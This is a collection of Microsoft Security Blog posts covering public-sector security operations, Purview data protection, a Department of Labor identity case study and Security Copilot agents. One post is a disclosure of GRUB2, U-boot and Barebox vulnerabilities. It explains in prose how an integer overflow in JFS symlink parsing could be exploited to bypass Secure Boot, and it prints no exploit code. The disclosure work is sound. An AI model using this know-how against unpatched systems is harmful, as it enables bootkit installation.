Microsoft’s Unified Security Operations for Public Sector

Discover how Microsoft helps public sectors modernize security operations to enhance cyber defense and streamline processes.

Read the datasheet

Microsoft’s unified security operations for public sector

Embracing modern security technology, processes, and continuous skill development is vital for protecting public sector organizations. By leveraging innovations powered by generative AI, unparalleled threat intelligence, and best practices, public sectors can transform their security operations to effectively defend against emerging cyberthreats.

AI-powered security operations: Microsoft delivers innovations to effectively protect against today’s complex threat landscape. The AI-powered unified security operations platform offers an enhanced and streamlined approach to security operations by integrating security information and event management (SIEM), security orchestration, automation, and response (SOAR), extended detection and response (XDR), posture and exposure management, cloud security, threat intelligence, and AI into a single, cohesive experience, eliminating silos and providing end-to-end security operations (SecOps). The unified platform boosts analyst efficiency, reduces context switching, and delivers quicker time to value with less integration work.

Microsoft is committed to helping public sector customers accelerate threat detection and response through improved security posture across organizations with richer insights, multi-tenant management, early warnings, and increased efficiency through automation and generative AI. Through automatic attack disruption, Microsoft Defender XDR utilizes robust threat intelligence, advanced AI and machine learning to detect and contain sophisticated cyberattacks in real time, significantly reducing their impact. This high-fidelity detection and protection capability disrupts more than 40,000 incidents each month, like identity threats and human-operated cyberattacks, while maintaining a false positive rate below 1%.

“Speed is an important factor against adversaries, and gaining situational awareness across a complex landscape of threats is therefore key.”

—Customer in the healthcare industry

People and process modernization: Public-private partnerships play a vital role in fostering the exchange of best practices and developing standardized processes that drive efficiency in incident response and threat intelligence sharing. For example, adapting the threat triage process to leverage generative AI agents can enable teams to scale significantly with agents autonomously analyzing and triaging vast volumes of alerts in real time, prioritize critical cyberthreats, and recommend specific remediation steps based on historical patterns. These collaborations also empower organizations to build teams equipped with cutting-edge skills and a comprehensive understanding of generative AI capabilities, helping them stay ahead of emerging cyberthreats.

Collective cyber defense and threat intelligence: Using Microsoft’s global threat intelligence insights, public sector organizations can collaborate with each other and across other sectors to share deeper cyberthreat insights efficiently. This partnership enables public sector organizations to exchange threat intelligence in a standardized manner within a region or country.

“Collective defense collaborations are driven by mutual interests with industry peers and cybersecurity alliances on improving security postures and responding more effectively to emerging threats.”

—Customer in the transport industry

The power of generative AI in cyber operations

Generative AI brings several transformative benefits to cybersecurity, making it a cornerstone for public sector security operations center (SOC) modernization.

Enhanced threat detection and response: Generative AI has the potential to sift through data from firewalls, endpoints, and cloud workloads, surfacing actionable cyberthreats that might go unnoticed in manual reviews. Unlike traditional rule-based detection methods, generative AI can identify attack patterns, adapt to emerging cyberthreats, and prioritize incidents based on risk severity, helping security teams focus on the most critical issues. Generative AI can go beyond simply surfacing cyberthreats; it can contextualize attack signals, predict potential breaches, and recommend guided responses for remediation strategies, reducing the burden on security analysts. Microsoft Security Copilot is already covering a range of use cases and is expanding rapidly to seize the full potential of generative AI. By providing guided incident investigation and response, Security Copilot helps security operations center (SOC) teams to detect and respond to cyberthreats more effectively. It can help teams to learn about malicious actors and campaigns, provide rapid summaries, and even contact the user to check for suspicious behavior. Adoption is associated with 30% reduction in security incident mean time to resolution (MTTR).²

Reduced operational overheads: By automating routine tasks, generative AI can free analysts from repetitive processes like alert triage or patch validation, enabling them to focus on advanced threat hunting. Security teams can already leverage Security Copilot to translate complex scripts into natural language, highlighting and explaining key parts to enhance team skills and reduce investigation time for advanced investigations as much as by 85%, helping security teams operate at scale.³

“Increased support from AI is critical given the significant capacity challenge in the public sector: a shortage of talent, an influx of threats, and an ever-increasing volume of data, assets, and organizations.”

—National SOC customer

Building a resilient digital future together

As nation-state threat actors and cybercriminals increasingly employ generative AI in their cyberattacks, public sector organizations can no longer rely on fragmented, manual defenses. The path forward lies in public-private collaboration, centered on co-designing and innovating solutions tailored to the public sector’s unique needs.

By adopting Microsoft Security solutions, public sector organizations can leverage combined resources, expertise, and cutting-edge technology to fortify critical infrastructure, safeguard citizen data, and strengthen public trust.

Now is the time to act: Modernize your cyber defense in the AI era to collectively forge a more secure and resilient digital future for government and public sector operations.

Learn more

Learn more about the AI-Powered Security Operations Platform for more details on the unified Security Operations platform.

Learn more about Microsoft Sentinel.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft Digital Defense Report 2024

²Generative AI and Security Operations Center Productivity: Evidence from Live Operations, Microsoft study. James Bono, Alec Xu, Justin Grana. November 24, 2024.

³Forrester Total Economic Impact™ of Microsoft Sentinel. The Total Economic Impact^(TM) Of Microsoft Sentinel, a commissioned study conducted by Forrester Consulting, March 2024. Results are based on a composite organization representative of interviewed customers.

The post Transforming public sector security operations in the AI era appeared first on Microsoft Security Blog.

Using Security Copilot, we were able to identify potential security issues in bootloader functionalities, focusing on filesystems due to their high vulnerability potential. This approach saved our team approximately a week’s worth of time that would have otherwise been spent manually reviewing the content. Through a series of prompts, we identified and refined security issues, ultimately uncovering an exploitable integer overflow vulnerability. Copilot also assisted in finding similar patterns in other files, ensuring comprehensive coverage and validation of our findings. This efficient process allowed us to confirm several additional vulnerabilities and extend our analysis to other bootloaders like U-boot and Barebox, which share code with GRUB2. We’re sharing this research as an example of the increased efficiency, streamlined workflows, and improved capabilities that AI solutions like Security Copilot can deliver for defenders, security researchers, and SOC analysts. As AI continues to emerge as a key tool in the cybersecurity community, Microsoft emphasizes the importance of vendors and researchers maintaining their focus on information sharing. This approach ensures that AI’s advantages in rapid vulnerability discovery, remediation, and accelerated security operations can effectively counter malicious actors’ attempts to use AI to scale common attack tactics, techniques, and procedures (TTPs).

While threat actors would likely require physical device access to exploit the U-boot or Barebox vulnerabilities, in the case of GRUB2, the vulnerabilities could further be exploited to bypass Secure Boot and install stealthy bootkits or potentially bypass other security mechanisms, such as BitLocker. The implications of installing such bootkits are significant, as this can grant threat actors complete control over the device, allowing them to control the boot process and operating system, compromise additional devices on the network, and pursue other malicious activities. Furthermore, it could result in persistent malware that remains intact even after an operating system reinstallation or a hard drive replacement.

We disclosed these vulnerabilities with the GRUB2, U-boot, and Barebox maintainers and worked with the GRUB2 maintainers to contribute fixes for the discovered vulnerabilities. To address the issues, the GRUB2 maintainers released security updates on February 18, 2025, and both the U-boot and Barebox maintainers released updates on February 19, 2025. We thank the GRUB2, U-boot, and Barebox maintainers as well as the open-source community for their quick response and collaborative efforts in addressing these issues, and we advise users to ensure their instances are up to date. We would also like to thank the RedHat support team for their assistance in disclosing these issues to manufacturers. The respective vulnerabilities are summarized in the following table:

In this blog, we detail how Secure Boot and GRUB2 function, explain how the GRUB2 vulnerabilities could have been exploited, and provide information on the vulnerabilities found in other open-source bootloaders to highlight the risks associated with unknowingly sharing vulnerable code among different open-source projects. As the boot process involves multiple components spanning different manufacturers and vendors, updates and fixes to the Secure Boot process can be particularly complex and run the risk of rendering a device unusable. As such, we are also sharing these findings with the security community to emphasize the importance of responsible disclosure and collaboration in the effort to enhance protection technologies and security across different devices and platforms.

Secure Boot and GRUB2

Before 2006, Intel-based computers booted into startup firmware code commonly known as the BIOS (Basic Input/Output System), which was responsible for hardware initialization and setup of common services to later be used by a bootloader. Ultimately, the BIOS would transfer control to a bootloader coded in real mode, which would commonly load an operating system (OS).

With time, attackers realized there is no root-of-trust verification of bootloaders by the firmware, thus began the era of bootkits, which are bootloader-based rootkits. To standardize the boot process, a unified firmware schema to replace BIOS was introduced in 2006, which is currently known as the Unified Extensible Firmware Interface (UEFI).

UEFI also helped combat bootkits, as it offers services that validate bootloaders and its own extensible modules by means of digital signatures. That protocol is known as Secure Boot and is essential to establishing a root of trust for the boot process, in which the firmware verifies UEFI drivers and OS modules with a platform key or a Key Exchange Key, and bootloaders verify the loaded operating system.

Trust is then achieved with the help of equipment manufacturers, which can sign code trusted by Secure Boot, by means of Certificate Authorities (CA). Essentially, manufacturers sign code with their private key, and their public key is signed with a root CA, commonly Microsoft’s UEFI CA. This is also essential to supporting non-Windows bootloaders such as GRUB2 (which commonly boots Linux) and allowing third party operating systems to benefit from Secure Boot. Since GRUB2 is fully open-sourced, vendors install a small program called a shim, which is signed by Microsoft’s UEFI CA and is responsible for validating the integrity of GRUB2. The shim can further consult a mechanism called Secure Boot Advanced Targeting (SBAT) for further revocation and management options as SBAT is used by the shim to provide a way to track and revoke individual software components based on metadata rather than cryptographic signatures alone.

The dangers of a GRUB2

Since bootloaders run before operating systems run, they mostly have UEFI-provided services as APIs to rely on. Therefore, bootloaders do not benefit from modern operating system security features, such as:

• No-Execute (NX): Known in Windows as Data Execution Prevention (DEP), and enforces memory page execute protections. Before the introduction of NX, attackers could override return addresses (which are maintained in-memory) and jump to arbitrary code (commonly a shellcode) that could be placed using the provided input.
• Address Space Layout Randomization (ASLR): This feature randomizes the base address of modules, which makes return address overrides and function pointer overrides highly unreliable since attackers do not know where usable code might be found.
• Safe dynamic allocators: Dynamic allocations are a favorite target for attackers, and modern operating systems harden their heap allocators with various techniques, including Safe Unlinking, type-safety, Pointer Authentication, and others.
• Stack cookies / Canaries: These are randomly generated values pushed between the return address and local variables on the stack, with the intent of detecting changes in their values before using the return address (commonly in a RET instruction).

Additionally, GRUB2 offers complex logic to implement various features, including:

• Image file parsers (PNG, TGA, and JPEG)
• Font parsing and support (PF2 file format)
• Network support (HTTP, FTP, DNS, ICMP, etc.)
• Various filesystem supportability (FAT, NTFS, EXT, JFS, HFS, ReiserFS, etc.)
• Bash-like command-line utility
• Extensible dynamic module loading capabilities

Furthermore, GRUB2 is coded in C, which is considered a memory-unsafe language, and as mentioned, does not benefit from any modern security mitigation. Considering the implication of defeating Secure Boot and strategically assessing the project (such as with Google’s Rule of 2), it is evident why GRUB2 may be of interest to vulnerability researchers.

Several memory corruption vulnerabilities have been uncovered in the past and are evident of the risks that we have mentioned. Noteworthy examples include:

Findings

Through a combination of static code analysis tools (such as CodeQL), fuzzing the GRUB2 emulator (grub-emu) with AFL++, manual code analysis, and using Microsoft Security Copilot, we have uncovered several vulnerabilities.

Using Security Copilot, we initially explored which functionalities in a bootloader have the most potential for vulnerabilities, with Copilot identifying network, filesystems, and cryptographic signatures as key areas of interest. Given our ongoing analysis of network vulnerabilities and the fact that cryptography is largely handled by UEFI, we decided to focus on filesystems.

Using the JFFS2 filesystem code as an example, we prompted Copilot to find all potential security issues, including exploitability analysis. Copilot identified multiple security issues, which we refined further by requesting Copilot to identify and provide the five most pressing of these issues. In our manual review of the five identified issues, we found three were false positives, one was not exploitable, and the remaining issue, which warranted our attention and further investigation, was an integer overflow vulnerability.

We used Security Copilot to successfully identify similar patterns in other GRUB2 files. Assuming the possibility of false negatives, we performed thorough validation and review of GRUB2 to avoid overlooking any issues, allowing us to confirm several additional vulnerabilities were present relating to the integer overflow.

Through this research, we have disclosed the following vulnerabilities:

Most of those vulnerabilities are simple memory corruption vulnerabilities. As an example, let us examine the JFS symbolic link resolution function:

The vulnerability is an overflow of the size variable:

• The size variable is declared as grub_size_t, which is ultimately defined as a 64-bit unsigned integer (uint64_t).
• The function grub_le_to_cpu64 converts a Little-Endian 64-bit value to the CPU’s native Endianess. Since x86-64 is already Little-Endian, it does nothing (on Big-Endian systems it reverses the byte-order of the 64-bit input value).
• Note the input data and its inode are fully attacker-controlled, since they supply the filesystem image. Therefore, size can get an arbitrary value, including the very large value 0xFFFFFFFFFFFFFFFF (which is the maximum value an unsigned 64-bit integer can get).
• The linknest checks are irrelevant for the vulnerability, but they assure the number of nested symbolic links to not exceed a limit (defined as 8).
• The size+1 calculation is an integer overflow—if size is 0xFFFFFFFFFFFFFFFF then size+1 is now 0. Note grub_malloc happily allocates a 0-byte chunk and returns it to the variable symlink.
• At this point, symlink is being written to by the function grub_jfs_read_file. The contents are arbitrarily set by the attacker, and while this function will never be able to read 0xFFFFFFFFFFFFFFFF bytes, an attacker would still be able to override important data beyond the limit of the symlink variable with an arbitrary payload.

It seems GRUB2 maintainers were aware of other types of integer overflow issues in the past and therefore introduced functions such as grub_add and grub_mul to handle addition and multiplication overflows safely. However, it seems there are quite a few places where those functions have not been considered.

The other vulnerabilities we’ve reported had similar out-of-bounds or integer overflow issues. In addition, we have reported a cryptographic side-channel attack issue, in which the function grub_crypto_memcmp does not perform its memory comparison in constant-time. The vulnerability is quite similar to one we disclosed on Netgear routers in the past.

Variant analysis and extensions to other bootloaders

After the discovery of the GRUB2 filesystem vulnerabilities and validating their exploitability, we concluded it is very likely other bootloaders might be affected by similar vulnerabilities, potentially as a result of the practice of copy-pasting filesystem parsing code between different open-source projects.

To test this hypothesis, we asked Security Copilot to find similar code in GitHub based on GRUB2’s filesystem implementations. This approach initially found many GRUB2 forks, so we continued to refine the search and manually review the results. Within those results, the U-boot and Barebox bootloaders, which are both commonly used for embedded systems, were identified as having shared code with GRUB2. Further investigation led us to identify similar vulnerabilities in both bootloaders, as detailed in the table below.

To exploit those in an embedded system context, attackers would most likely require physical access to those devices.

Enhancing security beyond Microsoft with research and threat intelligence sharing

As our research demonstrates, the discovered vulnerabilities can impact a wide range of systems and devices with varying impact. The vulnerabilities in GRUB2 can be exploited to bypass Secure Boot and allow threat actors to gain arbitrary code execution in the context of GRUB2, install stealthy bootkits and persistent malware, and compromise additional devices on the network. Additionally, there are further consequences to bypassing Secure Boot as it undermines the security mechanism designed to protect the boot process. Secure Boot bypasses can lead to threat actors loading untrusted software and malicious code during the boot process, evading detection by security solutions, and gaining full control of the system for potential widespread impact across operating systems relying on UEFI Secure Boot. While the vulnerabilities impacting U-boot and Barebox may be more difficult to exploit for threat actors by requiring physical device access, the issues still underscore the dangers of sharing susceptible code across multiple open-source projects.

This research also demonstrates the necessity of responsible vulnerability disclosure, threat intelligence sharing, and partner collaboration in addressing these issues to safeguard users against current and future threats. Given the complexity of the boot process, which involves multiple components from different manufacturers, coupled with the fact that updates to Secure Boot can run the risk of rendering a device unusable, responsible disclosure of these vulnerabilities is necessary to prevent threat actor exploitation and give teams time to effectively coordinate and collaborate on mitigation measures.

To address the discovered issues, the GRUB2 maintainers updated the vulnerable versions in SBAT while working with manufacturers to update DBX database entries as well as their shims to improve Secure Boot revocation management, particularly for bootloaders like shim that act as an intermediary between firmware Secure Boot verification and Linux distributions boot processes. In addition to deploying patches to address the vulnerabilities, the GRUB2 maintainers disabled some of the OS modules when Secure Boot is enabled to help ensure only trusted and verified code executes during the boot process, further reducing the attack surface. We would like to again thank the GRUB2 team and open-source community for their efforts in addressing these issues, as well as the U-boot and Barebox maintainers for quickly releasing fixes.

Leveraging AI like Security Copilot was invaluable in our research, saving us approximately a week’s worth of time by efficiently identifying and refining security issues in bootloader functionalities, ultimately allowing us to uncover several vulnerabilities. Identifying, disclosing, and contributing fixes for vulnerabilities, such as those mentioned in this blog post, is part of our ongoing commitment to enhance security at Microsoft and beyond. Microsoft is dedicated to improving security through research-driven protections and collaboration with customers, partners, and industry experts. Microsoft security researchers discover vulnerabilities and threats, translating this knowledge into enhanced solutions that protect users daily, and by expanding our research, we also contribute to the security of devices worldwide across all platforms.

Jonathan Bar Or

Microsoft 365 Defender Research Team

References

• https://lists.gnu.org/archive/html/grub-devel/2025-02/msg00024.html
• https://www.cve.org/CVERecord?id=CVE-2024-56737
• https://www.cve.org/CVERecord?id=CVE-2024-56738
• https://www.cve.org/CVERecord?id=CVE-2025-0677
• https://www.cve.org/CVERecord?id=CVE-2025-0678
• https://www.cve.org/CVERecord?id=CVE-2025-0684
• https://www.cve.org/CVERecord?id=CVE-2025-0685
• https://www.cve.org/CVERecord?id=CVE-2025-0686
• https://www.cve.org/CVERecord?id=CVE-2025-0689
• https://www.cve.org/CVERecord?id=CVE-2025-0690
• https://www.cve.org/CVERecord?id=CVE-2025-1118
• https://www.cve.org/CVERecord?id=CVE-2025-1125
• https://www.cve.org/CVERecord?id=CVE-2025-26726
• https://www.cve.org/CVERecord?id=CVE-2025-26727
• https://www.cve.org/CVERecord?id=CVE-2025-26728
• https://www.cve.org/CVERecord?id=CVE-2025-26729
• https://www.cve.org/CVERecord?id=CVE-2025-26721
• https://www.cve.org/CVERecord?id=CVE-2025-26722
• https://www.cve.org/CVERecord?id=CVE-2025-26723
• https://www.cve.org/CVERecord?id=CVE-2025-26724
• https://www.cve.org/CVERecord?id=CVE-2025-26725
• https://wiki.osdev.org/BIOS
• https://wiki.osdev.org/Bootloader
• https://d3fend.mitre.org/offensive-technique/attack/T1067/
• https://wiki.osdev.org/UEFI
• https://uefi.org/sites/default/files/resources/UEFI_Plugfest_2013_-_New_Orleans_-_Microsoft_UEFI_CA.PDF
• https://www.gnu.org/software/grub/manual/grub/html_node/UEFI-secure-boot-and-shim.html
• https://github.com/rhboot/shim/blob/main/SBAT.md
• https://theapplewiki.com/wiki/Heap_Hardening
• https://chromium.googlesource.com/chromium/src/+/master/docs/security/rule-of-2.md
• https://nvd.nist.gov/vuln/detail/cve-2020-10713
• https://ubuntu.com/security/CVE-2021-3695
• https://ubuntu.com/security/CVE-2021-3696
• https://ubuntu.com/security/CVE-2021-3697
• https://ubuntu.com/security/CVE-2022-28733
• https://ubuntu.com/security/CVE-2022-28734
• https://ubuntu.com/security/CVE-2022-28735
• https://nvd.nist.gov/vuln/detail/cve-2023-4692
• https://codeql.github.com/
• https://github.com/AFLplusplus/AFLplusplus
• https://wiki.osdev.org/Endianness
• https://wiki.osdev.org/X86-64
• https://www.redhat.com/en/blog/inodes-linux-filesystem
• https://cwe.mitre.org/data/definitions/190.html
• https://cwe.mitre.org/data/definitions/208.html

Learn more

Security Copilot customers can use the standalone experience to create their own prompts or run pre-built promptbooks to automate incident response or investigation tasks related to this threat.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Analyzing open-source bootloaders: Finding vulnerabilities faster with AI appeared first on Microsoft Security Blog.

AI innovation is impacting every industry, business process, and individual. About 75% of knowledge workers today are currently using some sort of AI in their day to day.¹ At the same time, the regulatory landscape is evolving at an unprecedented pace. Around the world, at least 69 countries have proposed more than 1,000 AI-related policy initiatives and legal frameworks to address public concerns around AI safety and governance.² With the need to adhere to regulations and policy frameworks for AI transformation, a comprehensive solution is needed to address security, governance, and privacy concerns. Additionally, with the convergence of the responsibilities of cybersecurity and data teams, customers are asking for a solution that turns data security and data governance into a team sport to address issues such data discovery, data classification, data loss prevention, and data quality in a unified way. Microsoft Purview delivers a comprehensive set of solutions that address these needs, helping customers seamlessly secure and confidently activate their data in the era of AI.

We are excited to announce new innovations that help security and data teams accelerate their organization’s AI transformation:

1. Enhancing Microsoft Purview Data Loss Prevention (Purview DLP) support for lakehouse in Microsoft Fabric to help prevent sensitive data loss by restricting access.
2. Expanding Purview DLP policy support for additional Fabric items such as KQL databases and Mirrored databases to send users notification through policy tips when they are working with sensitive data.
3. Microsoft Purview integration with Copilot in Fabric, specifically for Power BI.
4. Data Observability within the Microsoft Purview Unified Catalog.

Seamlessly secure data

Microsoft Purview is extending its proven data security value delivered to millions of Microsoft 365 users worldwide, to the Microsoft data platform. This helps users drive consistency across their multicloud and multiplatform data estate and simplify risks related to data leaks, oversharing, and risky user behavior as more users are managing and handling data in the era of AI.

1. Enhancing Microsoft Purview Data Loss Prevention (DLP) support for lakehouse in Fabric to help prevent sensitive data loss by restricting access

Microsoft Purview Data Security capabilities are used by hundreds of thousands of customers for their integration with Microsoft 365 data. Since last year’s Microsoft Fabric Community Conference, Microsoft Purview has extended Microsoft Purview Information Protection and Purview DLP policy tip value across the data estate, including Fabric. Currently, Purview DLP supports the ability to show users notifications for when they are working with sensitive data in lakehouse. We are excited to share that we are enhancing the DLP value in lakehouse to prevent sensitive data leakage to guest users by restricting access. Data Security admins can configure policies and limit access to only internal users or data owners based on the sensitive data found. This control is valuable for when a Fabric tenant includes guest users and domain owners want to limit access to internal proprietary data in their lakehouses. 

Figure 1. DLP policy restricting access for guest users into lakehouse due to personally identifiable information (PII) data discovered 

2. Expanding DLP policy support for additional Fabric items such as KQL databases and Mirrored databases to show users notification through policy tips when they are working with sensitive data

A key part of securing sensitive data is to provide visibility to your users on where and how they are interacting with sensitive data. Purview DLP policies can help notify users when they are working with sensitive data through policy tips in lakehouse in Fabric. We are excited to announce that we are extending policy tips support for additional Fabric items—KQL databases and Mirrored databases in preview. (Mirrored Database sources include Azure Cosmos DB, Azure SQL Database, Azure SQL Managed Instance, Azure Databricks Unity Catalog, and Snowflake, with more sources available soon). KQL databases are the only databases used for real-time analytics so detecting sensitive data that comes through real-time analytics is huge for Fabric customers. Purview DLP for Mirrored databases reduces the security risk of sensitive data leakage when data is transferred in Fabric. We are happy to extend Purview DLP value to more data sources, providing end-to-end protection for customers within their Fabric environments, all to prepare for the safe deployment of AI.

Figure 2. Policy tip triggered by Purview DLP due to PII being discovered in KQL databases.

Figure 3. Policy tip triggered by Purview DLP due to PII being discovered in Mirrored databases.

3. Microsoft Purview for Copilot in Fabric

As organizations adopt AI, implementing data controls and a Zero Trust approach is crucial to mitigate risks like data oversharing and leakage, and potential non-compliant usage in AI. We are excited to announce Microsoft Purview capabilities in preview for Copilot in Fabric, starting with Copilot for Power BI. By combining Microsoft Purview and Copilot for Power BI, users can:

• Discover data risks such as sensitive data in user prompts and responses and receive recommended actions in their Microsoft Purview Data Security Posture Management (DSPM) dashboard to reduce these risks.
• Identify risky AI usage with Microsoft Purview Insider Risk Management to investigate risky AI usage, such as an inadvertent user who has neglected security best practices and shared sensitive data in AI or a departing employee using AI to find sensitive data and exfiltrating the data through a USB device.
• Govern AI usage with Microsoft Purview Audit, Microsoft Purview eDiscovery, retention policies, and non-compliant usage detection.

Figure 4. Purview DSPM for AI provides admins with comprehensive reports on Copilot in Fabric’s user activities, as well as data entered and shared within the copilot.

Confidently activate data

4. Data observability, now in preview, within Microsoft Purview Unified Catalog

Within the Unified Catalog in Microsoft Purview, users can easily identify the root cause of data quality issues by visually investigating the relationship between governance domains, data products, glossary terms, and data assets associated with them through its lineage. Data assets and their respective data quality are visible across your multicloud, hybrid data estate. Maintaining high data quality is core to driving trustworthy AI innovation forward, and with the new data observability capabilities in Microsoft Purview, users can now improve how fast they can investigate and resolve root cause issues to improve data quality and respond to regulatory reporting requirements.

Figure 5. Lineage view of data assets that showcases data quality within a Data Product.

Microsoft Purview and Microsoft Fabric can help secure and activate data

As your organization continues to implement AI, Microsoft Fabric and Microsoft Purview will serve as key solutions to safely activate your data for AI. Stay tuned for even more exciting innovations to come and check out the Fabric blog to read more about the innovations in Fabric.

Learn more

Explore these resources to stay updated on our product innovations in security and governance for your data:

• Learn how to secure and govern your entire data estate with Microsoft Purview.
• Learn more about Microsoft Purview Data Governance.
• Get started with Microsoft Fabric.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1Work Trends Index

2AI Regulations around the World – 2025

The post New innovations in Microsoft Purview for protected, AI-ready data appeared first on Microsoft Security Blog.

The US Department of Labor (DOL) has been on a journey to consolidate their identity systems and modernize authentication to applications. In this blog post, I’ll describe the benefits they’re gaining from supplementing personal identity verification (PIV) cards with device-bound passkeys implemented through the Microsoft Authenticator app and from adding risk signals to Microsoft Entra Conditional Access policies.

To review how Microsoft Entra ID can help your department or agency meet federal cybersecurity requirements, while reducing complexity and improving the user experience, visit Microsoft Entra ID: Enhancing identity security for US agencies.

Adopting Microsoft Entra ID as a centralized identity system

Like many organizations, DOL first used Entra ID (then called Azure Active Directory) when they adopted Microsoft 365. At that time, they were maintaining multiple identity technologies, including on-premises Active Directory, Active Directory Federation Services, and Ping Federate. This fragmented strategy required users to authenticate to different applications using different identity systems.

With the help of their Identity, Credential, and Access Management (ICAM) group, DOL worked to consolidate all their identity systems to Entra ID. They chose Entra ID because it supports the necessary protocols (such as SAML and OIDC) to deliver a single sign-on (SSO) experience for most of their applications. This effort, which took about a year, included reaching out to application owners and encouraging them to move their applications off of Kerberos, ideally by adopting MSAL (Microsoft Authentication Library), so their applications could easily integrate with Entra ID.

Integrating applications with Entra ID makes it possible to strengthen security by applying Conditional Access policies to them. DOL at first applied simple Conditional Access policies that only allowed access to applications from hybrid-joined Government Furnished Equipment (GFE devices). The COVID-19 pandemic accelerated their adoption of additional features, such as enforcing device compliance through Microsoft Intune and reporting device risk to other security services through integration with Microsoft Defender for Endpoint. Policies could then make access decisions based on device risk, such as only granting access to applications from devices with “low risk” or “no risk.”

For an introduction to Microsoft Entra Conditional Access, visit our documentation.

Upleveling static Conditional Access policies to risk-based Conditional Access policies

In 2022, when new regulations required government agencies to apply more stringent cybersecurity standards to protect against sophisticated online attacks, DOL decided to strengthen their Zero Trust implementation with phishing-resistant authentication and dynamic risk-based Conditional Access policies. Both would help them enforce the Zero Trust principle of least privilege access.

Microsoft Entra ID Protection capabilities made it possible for Conditional Access policies to assess sign-in risk and user risk, in addition to device risk, before granting access. Policies would tolerate different levels of user risk depending on whether the user signs in as a ‘privileged user’ or as a ‘regular user.’ Access for users deemed high-risk would always be blocked. Privileged users with low or medium risk would also be blocked. Regular users with low risk would have to reauthenticate within a set period of time, while users with medium risk would have to reauthenticate more frequently.

For more in-depth information on risk-based Conditional Access policies, visit our documentation.

Adding a layer of security for privileged users

A subset of DOL employees may operate as a ‘privileged user’ for some tasks and as a ‘regular user’ for others. To access less sensitive applications such as Microsoft 365, these employees sign in as a ‘regular user’ using a government-issued PIV card or Windows Hello for Business from their GFE device. To access highly sensitive applications and resources, or to execute sensitive tasks, they must sign in using a separate account that has privileged access rights.

Previously, the DOL assigned usernames, passwords, and basic multifactor authentication to privileged accounts, but this still left some risk of credential theft from phishing attacks. Since the most important accounts to secure are those with administrative rights, DOL chose to make privileged accounts more secure with phishing-resistant authentication, specifically, with device-bound passkeys in the Microsoft Authenticator app. This is faster and less expensive to support than issuing employees users a second PIV card and a second GFE device.

Privileged users only need to install the Microsoft Authenticator app on their government-issued cell phone. They don’t have to visit a special portal to provision and onboard their passkey. They simply sign in for the first time on their mobile phone using a Temporary Access Pass and set up their passkey in one fast, frictionless workflow. As an added benefit, passkeys also reduce the time to authenticate to DOL applications. According to Microsoft testing, signing in with a passkey is eight times faster than using a password and traditional multifactor authentication.¹

After DOL finishes deploying passkeys for their privileged users, they plan to roll out passkeys to the rest of their workforce as a secondary authentication method that complements other passwordless methods such as Windows Hello for Business and certificate-based authentication (CBA).

To explore phishing-resistant authentication methods available with Microsoft Entra, explore the video series Phishing-resistant authentication in Microsoft Entra ID.

Using “report-only” mode in Conditional Access as a modeling tool

Every organization that modernizes their identity strategy and authentication methods, as DOL did, strengthens security, improves flexibility, and reduces costs. Using a modern, deeply integrated security toolset will also provide valuable new insights. For example, you can use Conditional Access as a modeling and planning tool. By running policies in report-only mode, you can better understand your environment, investigate user behavior to uncover risk scenarios not visible to the human eye, and model solutions for those scenarios. This helps you decide which controls to apply to close any security gaps you discover.

DOL rolled out risk-based Conditional Access policies, in report-only mode, that enforce the use of passkeys by privileged users. In the activity reports, they observed employees signing in with their privileged accounts, then visiting portals that they should access as regular users, not as admins. DOL then adjusted their policies to block such behavior.

Running risk-based policies in report-only mode exposed behavior that DOL could then use policies to control. It also helped them to uncover inconsistencies and redundancies that reflected unaddressed technical debt; for example, policies that collided. Their goal is to consolidate and simplify their static policies into fewer, more comprehensive risk-based policies that block dangerous or unauthorized behavior while allowing employees to sign in faster and more securely to get their work done.

To learn more about Conditional Access report-only mode, visit our documentation.

Looking ahead

So far, DOL has integrated more than 200 applications with Entra ID for SSO. The team is still in the monitoring phase as they work to consolidate Conditional Access policies and ensure compliance with security requirements, such as the use of passkeys for accessing high-value assets. Not only are they reducing the number of policies they must maintain, but their logs are also cleaner, and it’s easier to find insights.

DOL’s future plans include implementing attestation, which will ensure that employees use a genuine version of the Authenticator app published by Microsoft before registering a passkey. They’re also investigating joining devices to Entra ID so they can centrally manage them from the cloud for easier deployment of updates, policies, and applications. This will also allow them to use policy to enforce enrollment in Windows Hello for Business, further advancing their transition to phishing-resistant authentication.

Learn more

Learn more about Microsoft Entra ID.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Convincing a billion users to love passkeys: UX design insights from Microsoft to boost adoption and security, Sangeeta Ranjit and Scott Bingham. December 12, 2024.

The post US Department of Labor’s journey to Zero Trust security with Microsoft Entra ID appeared first on Microsoft Security Blog.

One year ago, we launched Microsoft Security Copilot to empower defenders to detect, investigate, and respond to security incidents swiftly and accurately. Now, we are excited to announce the next evolution of Security Copilot with AI agents designed to autonomously assist with critical areas such as phishing, data security, and identity management. The relentless pace and complexity of cyberattacks have surpassed human capacity and establishing AI agents is a necessity for modern security.

For example, phishing attacks remain one of the most common and damaging cyberthreats. Between January and December 2024, Microsoft detected more than 30 billion phishing emails targeting customers.¹ The volume of these cyberattacks overwhelms security teams relying on manual processes and fragmented defenses, making it difficult to both triage malicious messages promptly and leverage data-driven insights for broader cyber risk management.

The phishing triage agent in Microsoft Security Copilot being unveiled today can handle routine phishing alerts and cyberattacks, freeing up human defenders to focus on more complex cyberthreats and proactive security measures. This is just one way agents can transform security.

Additionally, securing and governing AI continues to be the top priority for organizations, and we are excited to advance our purpose-built solutions with new innovations across Microsoft Defender, Microsoft Entra, and Microsoft Purview. 

Read on to learn about other agents we are introducing to Security Copilot and important developments in securing AI. 

Expanding Microsoft Security Copilot with AI agentic capabilities

